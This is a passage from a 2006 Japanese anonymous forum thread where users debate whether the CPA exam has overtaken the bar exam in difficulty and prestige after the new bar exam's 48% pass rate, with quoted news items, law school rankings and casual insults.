何故なら、資格だけで成功できるほど世の中甘くない。
資格が無くても稼ぐやつは稼ぐ。
自己に確固たる信念がないやつは生き残っていけないな


317 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 15:48:26 ID:???
そんな誰でも知ってる一般論を得意げに大展開しなくても。。。。

なんか読んでるこっちが恥ずかしくなる。

318 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 19:10:40 ID:???
>>306
公認会計士でも億貰う人はいるよ。

>>309
大手監査法人で月100時間残業すれば会計士補1年目でも1000万行くよ。

319 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 23:47:45 ID:???
そんなのいやだ。

320 :一般に公正妥当と認められた名無しさん:2006/09/19(火) 02:39:10 ID:???
月100時間以上大企業のリーマンは残業してるぜ?

321 :一般に公正妥当と認められた名無しさん:2006/09/20(水) 20:54:27 ID:A0bxZoFO
ttp://www.asahi.com/life/update/0920/005.html
新司法試験の合格率は約5割だそうです
来年度からも3〜4割はローから合格者を出していく模様

322 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 10:08:15 ID:???
来年は2〜3割ですが・・・・。

323 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 16:18:40 ID:???
まさかが本当になってしまった。
とうとう司法がクソ資格になってしまったよ。

新司法試験の合格者1009人、合格率48%
 法務省の司法試験委員会は21日、法科大学院の修了者を対象に今年初めて実施した新司法試験の最終合格者を発表した。
 合格者は1009人で、合格率は約48%。合格率は昨年実施した旧司法試験の3.71%から大幅に上昇した。

 合格者の平均年齢は28.87歳。最高齢は58歳。合格者のうち、女性は22.6%の228人。

 今回の新司法試験を受験したのは、2004年の法科大学院発足時に入学し、2年制の法学既修者コースを今春修了した2087人。
 今年5月、基礎知識を選択式で問う「短答式」と、長文で論理構成力を見る「論文式」を受験した。新試験合格者は11月から
 裁判所や弁護士事務所などで実務を学ぶ司法修習を始め、来年11月に、検事、裁判官、弁護士の道に進む。 (16:03)




324 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 16:23:19 ID:???
合格者は1009人で、合格率は約48%。合格率は昨年実施した旧司法試験の3.71%から大幅に上昇した。

合格率3.71%→約48% なんだこりゃあ〜 
ロー行けば半分受かるのか
去年までの弁護士と今年の弁護士と同じ資格か


325 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 16:31:14 ID:???
全国ロースクール一覧
http://www.law-school.jp/c1_5.asp

326 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 16:36:17 ID:???
平成18年度新司法試験合格発表カウントダウン8
http://school5.2ch.net/test/read.cgi/shihou/1158820732/l50

327 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 16:38:45 ID:???
弁護士も金でなれる時代に突入したかw
考えてみれば医師の国家試験も実質そうだもんな
東大理Vの医師も帝京の医師も同じ医師だもんなw
この辺からも10%〜20%ぐらい合格出てんだろうなw

・北海学園大学大学院
・東北学院大学大学院
・大宮法科大学院大学
・駿河台大学大学院


328 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 16:39:28 ID:???
司法書士、税理士、会計士に見下されている司法試験
http://school5.2ch.net/test/read.cgi/shihou/1158821608/l50

329 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 16:41:13 ID:???
法科大学院別では、トップが中央大の131人、2位が東大の120人、3位が慶応の104人だった。これに京大、
一橋大、明治大、神戸大、同志社大、立命館大、関西学院大などが続いた(16:03)
http://www.nikkei.co.jp/news/main/20060921AT1G2102C21092006.html
http://www.moj.go.jp/SHIKEN/SHINSHIHOU/h18kekka.html

330 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 16:48:29 ID:???
これもローだけど税理士院卒だけ馬鹿に出来ないぞこれからは
わかったか高卒糞ども!

★低偏差値と思われる法科大学院
○神戸学院大学大学院
○姫路獨協大学大学院
○広島修道大学大学院
○久留米大学大学院
○西南学院大学大学院
○福岡大学大学院

・北海学園大学大学院
・東北学院大学大学院
・大宮法科大学院大学
・駿河台大学大学院



331 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 16:56:26 ID:???
日本の最難関資格司法のトップ10がこれか?
俺会計士受験生だけど正直ガッカリした
少なくとも上位は旧帝大+一橋がずらりと並ぶ姿想像してたんだが
例年こんな順位だっけ?

332 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 17:00:29 ID:???
>>331
予備校の差だろ

333 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 17:15:36 ID:???
こりゃ、本当に公認会計士>>弁護士になりそうだな。

中央大が1位とは・・・

334 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 17:21:12 ID:???
会計士の合格率もこれくらいにしろよ

335 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 17:24:02 ID:???
これみると中央と明治が大躍進だな。
東大はどうしたんだろうか。会計士も変な順位になるんだろうか。
http://www.moj.go.jp/PRESS/041110-1/16-2univ.html

336 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 17:27:21 ID:???
会計士は慶應早稲田のワンツーは揺るがないだろう


337 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 17:32:20 ID:???
上位に早稲田がいない。例年上位の大学合格者数が減って全体の合格者が増えたんだよな。
ということは広く浅く合格出したんだ。底辺のローでも弁護士になれる時代になったんだ。
なんか去年までの司法試験合格者が同一視されて可哀相じゃねえ。

338 :一般に公正妥当と認められた名無しさん :2006/09/21(木) 17:49:42 ID:???
早稲田は司法上位5位までの常連じゃなかったけ
何やってんだか早稲田ローの教授連チューは

339 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 17:59:09 ID:???
会計大学院ランキング

1.北大
2.中央
3.早稲田
4.東北
5.明治
6.関学

その他 青学 立命 法政


340 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 18:23:18 ID:???
>>339
おい慶応は?

341 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 18:48:10 ID:???
>>340

慶応は会計大学院未設置

342 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 19:17:53 ID:???
>>338
早稲田は今年のロー卒業生が20人程度だったらしい。


343 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 19:55:18 ID:???
早大が低いのは内部で司法受験資格試験を行って20名にしぼったから。
しかし20/300 に絞ってあのザマだから来年が心配。

344 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 20:06:58 ID:???
早稲田は大コケだろうな
一般人は合格者数しか興味ないだろうし(東大受験の開成みたいに)、合格率でも一橋に遠く及ばない
そして同期の人数の低さは後々響いてくる

345 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 20:13:20 ID:???
ワセダアホすぎwwww
最近駅とか新聞でやたらワセダの大学院の広告見る
きっと会計も司法もこけまくりで必死なんだろうなw

346 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 20:20:54 ID:???
会計院の合格率だと

中央>北大>東北>和田大だもな。

院生は基本的に優秀なの集めてるんだろうけど、
説明会での雰囲気だ資格試験の意識度0だもな。

347 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 20:33:00 ID:???
こ、神戸は?神戸は?

348 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:01:34 ID:???
これで名実ともに会計士試験が最難関となつた

349 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:09:59 ID:txxZyUXo
会計士と弁護士を比較して何の意味があんの?




350 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:12:17 ID:???
全くない。受験生がほざいてるだけ。

351 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:14:20 ID:???
意味あるよ
世の中には「一番難しい」って言葉に反応してしまう悲しい人種がたくさんいるんだよ

352 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:21:50 ID:txxZyUXo
>>350 351
なるほどね。偏差値とか、倍率何倍とか、社会に出れば意味ないのにね。
日本の会計士試験は難しくて、米国のCPAの方が簡単っぽいけど、現実には日本の
会計とか監査ってアメリカの真似してるだけなんだよね。それって、難しい試験
を通れば優秀な人だって言う証明になってないことの証明になってるなって
思うんだよね。



353 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:25:07 ID:???
会計士も合格者数増やすと明言してるからいずれ司法のようになるかもしれないよね・・・


旧司法試験を受けていた大部分は>>351みたいな考えだろう

354 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:27:39 ID:???
http://www.moj.go.jp/SHIKEN/SHINSHIHOU/h18-04kekka.pdf

なんだ新司法のこのザマはw
合格者の学歴レベル下がりすぎ。合格率も約50%
Fランクからもいっぱい出てるし・・
これで完全に最難関資格は公認会計士試験となったな。

355 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:35:09 ID:???
山梨学院でも合格率50%超なのはさすがにヤヴァイな

356 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:37:31 ID:???
東大ローの人可哀想・・・
こんな糞資格に成り下がるとは思ってなかっただろうな・・・


357 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:39:40 ID:LnfV3jJF
S 弁理士・司法書士(法律系最高ランク)・公認会計士(経済系最高ランク)
A 税理士・不動産鑑定士
B 社会保険労務士・FP
C 行政書士・宅建
D 司法試験(H18年度、驚愕の合格率48%)

司法試験は最高ランクから
間違いなく最低ランクになりました。
以後弁護士は参加賞みたいなものになります。

358 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:42:17 ID:???
旧司法が残ってる3年後までは、旧司法が最難関じゃない?

359 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 21:49:44 ID:???
旧司法と2010年からの予備試験(だっけ?)だけが辛うじで難関試験って感じか
いずれにしろ合格してもローと同じ扱いだからなぁ

360 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 22:01:42 ID:???
司法試験・・ 落ちたな・・

これで公認会計士が最難関?
いやいや、この流れが会計士にも来そうで怖いです。
資格を金で買う時代・・・ハァ

361 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 22:44:37 ID:???
司法試験が落ちたとか言ってる香具師は池沼?
分母はロー受験者だろ。新試受験者で割ってどうすんだ

362 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 22:56:23 ID:???
ロースクールもピンキリだからな。

363 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 22:56:35 ID:???
>>361
分母のレベルも分子のレベルも落ちてるじゃん。

364 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 22:58:16 ID:???
会計士試験は司法試験と違って科目合格があるから会計士>弁護士には
ならんだろ。
今年からは監査法人は科目合格者も採用するし、いずれは会計士試験の
受験に関わらず簿記1級でも採用すると思う。欧米みたいに。
監査補助者なら合格者でなくてもできる作業だしね。

365 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:00:13 ID:???
>>361
お前が池沼だろw
ローに入るのが大変だと思ってるのか?

366 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:00:53 ID:???
>会計士試験は司法試験と違って科目合格があるから

まだこんなおめでたいこと言ってる奴いるんだな。

367 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:01:32 ID:???
欧米か?!

368 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:07:08 ID:Yhwk5nLP
俺法学部出身で、学部出た年に一期生としてキシュウいった奴(今年受かった奴ら)と同じ代。合格者数上位のローにいった奴らを多数知ってるがはっきりいってたいしたことない奴が多い。今年に限っていえばレベルは本当に低いと思うよ。

369 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:09:34 ID:Yhwk5nLP
ちなみに多くの大学が若手を優先してとったのに対して中央は法律科目重視で旧司法のベテを多く入れたんだったと思う。それが合格者数に表れてるんじゃないかと。

370 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:12:24 ID:TqxvB4K+
>>369
今までは一生受かることができなかった、ヴェテが合格できるように
なったということですね。

371 :368:2006/09/21(木) 23:17:36 ID:Yhwk5nLP
比較的合格に近かった層だろうから一生受からないと言い切ることはできないんじゃないかな。まあ当時は旧試も合格者増の時代だったので一期でロー行った時点でたいしたことない人が多いんだけども。

372 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:23:13 ID:???
今年は科目合格者もたくさん採用されると思う。
2年の期限もつけない法人もあると思う。なにせ人手不足だから。

373 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:32:21 ID:???
島根大学ってすごいらしいな。

374 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:37:12 ID:???
科目合格者採用や短答合格者採用は受験生の選択肢が広がったっていう意味では確かに魅力的だけど、
二の足踏んでしまうな・・・

375 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:39:52 ID:???
司法試験ってのは、昔の高等文官試験の一部だっていうことで、
長らく日本で最高峰の資格試験って認識があったんだけど、
今回の新試験は、旧試験の弊害とともに、そうした日本人の認識も
捨て去ったみたいだね。

376 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:41:24 ID:???
>>374

契約社員でよかったらどうぞ


ってな感じだからな。
科目合格者等は毎年量産されるからね。

377 :一般に公正妥当と認められた名無しさん:2006/09/21(木) 23:44:20 ID:???
短答合格者や科目合格の制度ができたらやっぱり一発合格は今より難しくなるんだろうか。

378 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 00:05:04 ID:???
>>376
いずれ正職員扱いになると思うけど。
会計士の最終合格率は急激に上げないだろうから母集団が増えない限り
会計士も増えないだろうし、それとは関係なく監査法人の要員はいくら
採用しても足らなくなるからな。

379 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 02:12:26 ID:???
>>1それはありえないね。
世界中どこの国でも地位や収入は、
弁護士>>公認会計士

380 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 02:53:43 ID:???
>>364
つまり、公認会計士にとっては、搾取できる労働力が増えたってことですな。

381 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 02:55:41 ID:???
>>379
イギリス 会計士>弁護士
日本 会計士>新司法
アメリカ 弁護士>会計士

382 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 03:02:02 ID:???
このスレ司法試験板に貼られまくってるw

383 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 05:28:07 ID:???
新司法の大変さは合格率だけじゃ計れないと思うよ。
東大はじめ、上位ローに通ってる友人が何人かいるけどみんなものすごい勉強してる。
実質的にはやっぱり大変な資格だと思うよ。
ただ悲しいかな、世間は48%という数字とトップが東大でなく中央になってしまったという
データしか見ないから・・・この傾向が続けば本当に会計士>弁護士になってもおかしくないなこりゃ。
少なくとも同等くらいにはなりそう。

384 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 09:31:10 ID:???
それでも会計士が弁護士を越えることはないと思う。まず第一に知名度が低すぎる。受験者のレベルも新司法と同じかもっと低いかでしょ。

385 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 09:41:13 ID:???
本日の日経新聞、某弁護士事務所の話
「旧司法試験合格者と新司法試験合格者だたったら間違いなく旧合格者を採用します」
1年後には弁護士になるわけだけど2〜3流ロー大学出身弁護士は苦労するの確実。
東大を筆頭に上位国立大の合格者はこの現象をどう思っているのだろうか。

司法試験が最難関資格であり続けてもらいたいと思うのは俺(会計士受験生)だけではないと思う。
来年からは合格率を是非下げてもらいたい。そうしないと弁護士の質がどんどん低下する。

386 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 09:50:18 ID:???
新司法はもはや難関ではない。
新司法受けて税理士おまけでもらうのが真の勝ち組。

387 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 09:58:34 ID:???
新司法は落ちれば恥ずかしいという意味で最難関資格です。

388 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 09:59:06 ID:???
>>384
ほぼそう思う。
しかし、旧試験だったら永久に合格できない層も今回パスしてるのも事実。
上位層のレベルは旧試験と変化ないのは分るが問題は低レベルな受験生でも
新司法試験は合格可能になってしまったという点。そうあって欲しくない。
例えると東大でもDQN高校から数人は毎年確実に入れるという感覚かな。
だって今回合格者ゼロのローは4つだけでしょ。それも1人、3人、3人、8人の受験者でゼロ。
加えて、当初目標であった7〜8割りの合格を出してもらいたいという声も根強い。
大学全入時代と司法とは分け違うんだから法務省も少し考えた方がいいよ。

389 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 09:59:41 ID:???
>>384
工作員乙。
すでに、試験難易度で公認会計士>司法となっただろ。
学歴レベルでもな。

390 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 10:26:14 ID:???
>>388DQN高校って地方の公立進学高を指してはないよね?
それだったら例えとしてはふさわしくないから。

391 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 10:40:59 ID:???
>>384
日経ぐらい嫁よ。
会計士知名度低いって

そりゃ、ビキナーズラック乙って新聞に書かれる資格より知名度は劣るが。

392 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 11:15:38 ID:???
>>390
俺東京だけど地方は県立校中心で名門私立進学校が少ないこと位知ってるよ。
そうではなく大学法学部からの司法合格者が毎年ほぼセロだったのに
今回の司法試験はその系列大学院からの合格者が多数出たことを例えたもの。
上位層はともかく俺は司法試験が運良ければ低レベルでも入れる味噌クソ資格になるのを懸念している。

393 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 11:36:29 ID:/cXkOYJu
早稲田は合格率狙いで少数精鋭に絞ったはずが、その率でも中位になってしまったな。

糞教授はどう責任をとるつもりなんだ?



394 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 12:00:43 ID:???
弁護士になって、何するつもり??
交通事故加害者の弁護とかサラクレ債務整理とか、
ロクな仕事じゃないのにな。

汚い地味な仕事、肉体労働




395 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 12:14:04 ID:???
やはり文系の大学序列は東大、京大、一橋だったな

396 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 12:14:04 ID:???
医者は病気がなくならない限り仕事がある
弁護士は犯罪がなくならない限り仕事がある
会計士は市場がなくならない限り仕事がある
どれが一番スマートか

397 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 12:23:42 ID:???
>>396
おまいに座布団1枚あげる^^

398 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 12:36:17 ID:???
>>396
医者を公認会計士・弁護士と並べられると不快だなぁ
低脳でもなれて、肉体労働系のあんな資格と並べないでくれ。

399 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:00:34 ID:???
>>394
おまえリアルヒキだろ?w
テレビドラマで見た弁護士の仕事かそれは?w

400 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:07:25 ID:???
これだけ司法試験が簡単になったのだから、公認会計士になる比較的合格率の高い方法として
司法試験合格→公認会計士が注目をあびるようになるかもしれない

401 :384:2006/09/22(金) 13:07:48 ID:???
≫384 工作員って…。まあ受験生のレベルは法学部出身の俺の感想に過ぎないけどね。山梨学院から半分以上受かってるけどあそこは授業料全免とかで早慶出身者とか集めてるから、無名校のローがあながちバカばっかとは言いきれないと思う。

402 :384:2006/09/22(金) 13:08:28 ID:???
≫389 工作員って…。まあ受験生のレベルは法学部出身の俺の感想に過ぎないけどね。山梨学院から半分以上受かってるけどあそこは授業料全免とかで早慶出身者とか集めてるから、無名校のローがあながちバカばっかとは言いきれないと思う。

403 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:10:23 ID:???
>>400
なるかぼけ。
司法の合格率はこれからまた年々下がるよ。

404 :384:2006/09/22(金) 13:10:50 ID:???
二重カキコすまん…。レス番変えたらあんなことに…。

405 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:11:36 ID:???
早計出身なら5割超受かってもおかしくないってこと?
結局楽勝なんじゃん

406 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:14:20 ID:???
>>405
じゃあ目指せよ

407 :384:2006/09/22(金) 13:15:21 ID:???
≫391 日経は毎日読んでますが?日経読むような人なら会計士のこと知ってるだろうけど、日本人全員読んでるわけじゃない。日経どころか新聞すら読まないような人は会計士のこと知らないと思う。弁護士を知らない人はいないだろうがね。

408 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:18:55 ID:???
知名度が高いと偉いんですか?
ならAV女優は相当なもんだな

409 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:19:58 ID:???
ローつくってしまったんだから、もう昔には戻れないだろう

410 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:20:23 ID:???
>>408
発想が貧困だな

411 :384:2006/09/22(金) 13:21:18 ID:???
あと新試自体が難しくないことに異論はないけど、特に上位ローは受験倍率10倍とかだからそれを加味するとやっぱ簡単ではないんじゃない?上位ローに入れないと合格後も差別とか大変だって話だし。

412 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:21:33 ID:???
1分28秒か
まあまあだな

413 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:22:38 ID:???
会計士は歴史が浅い、まだ職業として成立してから
海外でも200年程度、日本では50年程度しか経ってない
経済活動や会計・税は永遠に存在するだろうが、会計士という職業自体は
本当に必要かどうかわからんからな、計理士が廃止になったように会計士もそうなる
可能性が無いとも言えない

414 :384:2006/09/22(金) 13:25:19 ID:???
でもまあ目指すうまみは確実に激減してる資格だと思う。こんだけ人数増やしたら就職できない人やできたとしても年収500万いかない人が出てくるらしい。ローの学費も高いし修習の金も貸与になるからそれだけで500万はかかるしね。

415 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:26:38 ID:???
司法板から遠征してきてる奴が必死すぎてワロス

416 :384:2006/09/22(金) 13:29:08 ID:???
》408 どっちが知名度が高いから偉いなんて言い方はしてなくない?ただスレタイの会計士>弁護士っていうのを知名度の観点から捉えたとした場合、残念ながらそれはないって言いたかっただけ。

417 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:49:18 ID:???
みんな司法試験=弁護士と思っている様だが毎回定員割れ起こしている検事、裁判官の補充に充てる為にはメリットになってるんでないかい?
おそらく下位ロー→雇って貰える事務所無い→公務員(検事、裁判官)と言うルートが出来そうな気がするのはオレだけ??

418 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 13:50:36 ID:???
384氏へ
ここは2chなんで会計士>弁護士は2やん流一種のお遊び。
あまりマジメに考えないで欲しい。

関連して>>411のレスに対してだけど上位層の受験レベルのことを問題にしてるのではなく
”下位層でも受かる司法試験にしてもらいたくない”というのが俺の意見。
超難関資格と云えば司法試験を置いて他になかったわけだからね。
「超難関司法試験に匹敵する難易度の会計士試験」というフレーズが何とも心地よい分けでして。
こういう事書くとまた煽りがきそうだけどね。

419 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 13:52:56 ID:???
会計士>>税理士>>>>宅建>>>簿記2級=新司法

420 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 14:09:08 ID:???
杉浦法相「法科大学院、将来淘汰も」
 杉浦正健法相は22日の閣議後の記者会見で、21日に新司法試験の合格者が発表されたことに関し「結果が思わしくない法科大学院に行く人は減っていくので、
将来、淘汰も有り得ない話じゃない。結果を踏まえ、(合格率が)良くなかった大学院は頑張って努力してもらいたい」と述べた。

 また小坂憲次文部科学相は合格者ゼロの法科大学院が4校あったことに「設置計画の履行状況調査や第三者評価を通じて、教育水準が適切に確保されているか見守っていきたい」と述べた。 (13:48)



421 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 14:48:17 ID:???

【改革】税理士を税務弁護士へ【国民の利便・期待】
http://money4.2ch.net/test/read.cgi/tax/1040518785/






422 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:26:31 ID:???
>>411の難関出てなければいぢめられるってのは主観だよね?
偏差値高いローでも合格できなければ意味ないのでは?
島根は合格率高かったけどいぢめられるの?
司法試験って国家資格なのにそんな資格なの!?


423 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:32:17 ID:???
旧司法マンセー!!!

新試では旧司法の金ある落ち武者を救済できた。

424 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 15:42:52 ID:???
医師国家試験ほどではないにしても、ほとんどザル試験になってしまった
から、やっぱり大学名重視になるんだろうな。
医師国家試験の合格率だけ見ると、東大ってそれほど高くないんだよ。

425 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 15:47:37 ID:???
どんな難関資格でも二流三流大学で受かる人は毎年必ずいる。
去年までの司法試験も会計士試験もそう。
ただ難関資格ほどそれが少数になるということ。
二流三流大学でも受かる人間が大半になると、かつての難関資格は平凡な資格に成り下がる。
司法試験は今年がロー初年度なんで数年後には淘汰されて合格ランクも納得順位に落ち着くんじゃない。
そう成らなければ司法界はハッキリいって危機だよ。

426 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 16:01:47 ID:???
ローに居ただけでいきなし70%、80%の合格率にしろっていうのが虫が良すぎるんだよ。
それじゃあ弁護士資格も金で買えるといわれても仕方ないだろ。
来年は2〜30%になるらしいけどそれでも多い希ガス。10%未満でいいんじゃね。
今年の会計士試験もどうなるか判らんけどさ。


427 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 16:07:36 ID:???
というか会計士も新司法並の合格率にしてくれ
増やすんだろ?法務省も金融庁に数増やせって圧力かけろよ

428 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 16:09:48 ID:???
短刀の時点で新司法の合格率を下回っているから無理。

429 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 16:13:41 ID:???
世間様がなんといおうとやっぱ合格するのが先決だもんな
それにしても発表までが長すぎ

430 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 17:25:37 ID:???
新司法の合格者は就職で不利食らうらしいから手放しでは喜べないらしい

431 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 19:15:23 ID:???
島根大?1/1を引き合いに出す時点で会計士のレベルの低さがわるね。    おまえらは、税理士とか痴呆書士でも相手にしてろ。

432 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 19:30:22 ID:???
>>431 司法試験板も同じような内容だったが(苦笑

433 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 19:40:47 ID:???
48%wwwwwwww

434 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 19:48:58 ID:???
>>432それがなに?    会計士の受験資格は高卒。            司法試験の受験資格は、大学院。  分母のレベルが違いすぎるんだが。

435 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 19:59:14 ID:???
日本の大学生って高卒とレベルが違いすぎると言える程高度な勉強してたっけ?

法科大学院生はちゃんと勉強するんだろうけど、会計士受ける高卒も
予備校でみっちり勉強しないと受からないし。

436 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 20:03:09 ID:???
>>434
税理士乙

437 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 20:03:58 ID:???
山梨学院が合格率50%超える試験wwwwwwwwwwwww

438 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 20:09:32 ID:???
下位ローにも東大京大卒がゴロゴロいるみたいだし、3回しか受けれないしで新司も大変みたいだな。
三振したら人生終わりだから皆必死だろうし、率ではわからないレベルの高さがある。

439 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 20:09:43 ID:???
まあ、司法ベテにとっては最難関資格を目指しているというのが唯一の心の支えなんだから、
それを覆されちゃかなわんわな。
ここまで必死になるのもうなずける。

440 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 20:45:59 ID:???
>>406
405じゃないが、弁護士のほうがイイと思うなら、とっくに目指してるよ。
糞簡単みたいだしな。

441 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 20:49:20 ID:???
>>416
馬鹿かお前。
社会の底辺からの知名度なんていらねぇんだよ
ハイソな人間で公認会計士を知らない奴はいない。


442 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 21:12:14 ID:???
京大や一橋より早稲田慶応のほうが知名度は高くても大学のレベル自体は前者の方が上だったりするしな。

443 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 22:07:07 ID:ZysI8BbN
>>442
お前w
そんなんあたりまえだのクラッカー
オマイラこれ知らねえだろw
俺は化石だからこのおやじギャクは100%認知してるつもりだW

444 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 22:11:34 ID:???
>>443
はぐれ刑事のやっさん乙

445 :一般に公正妥当と認められた名無しさん :2006/09/22(金) 22:17:49 ID:???
>>443
オマイも知ってんだw

446 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 23:25:28 ID:???
「巨人大砲玉子焼き」

ポマイラこれ何だか知っとるけ?

447 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 23:27:08 ID:???
昔の子供の好きなもの?
おれの親父が子供の頃だよそれ

448 :一般に公正妥当と認められた名無しさん:2006/09/22(金) 23:29:00 ID:???
阪神柏戸目玉焼き

449 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 02:41:05 ID:yJr+Bb0j
しかしながら、待遇は圧倒的に司法>>会計だから、やっぱり格付けは変わらないでしょ。
まぁ、下の下の弁護士には勝てるんでしょうが・・・。

450 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 03:00:36 ID:D2jbowwP
>>449
今はそうだね。
でも、圧倒的に司法のほうが市場が狭いから。今後は、

待遇も会計>>司法になるのは目に見えている。
弁護士中レベル以下は年収300万円台スタートもありえるだろう。

451 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 03:30:23 ID:???

【改革】税理士を税務弁護士へ【国民の利便・期待】
http://money4.2ch.net/test/read.cgi/tax/1040518785/









452 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 03:59:26 ID:???
> 待遇は圧倒的に司法>>会計だから、

どこが?
今は同じくらいだろ。

453 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 04:12:00 ID:yJr+Bb0j
>>452

同じくらいじゃねーYO!

454 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 04:36:32 ID:???
何が違うのか具体的に説明しろよ

455 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 04:38:51 ID:???
ID:yJr+Bb0jは司法工作員。

456 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 05:04:48 ID:yJr+Bb0j
>>454

http://gekokujou.blog12.fc2.com/blog-entry-34.html

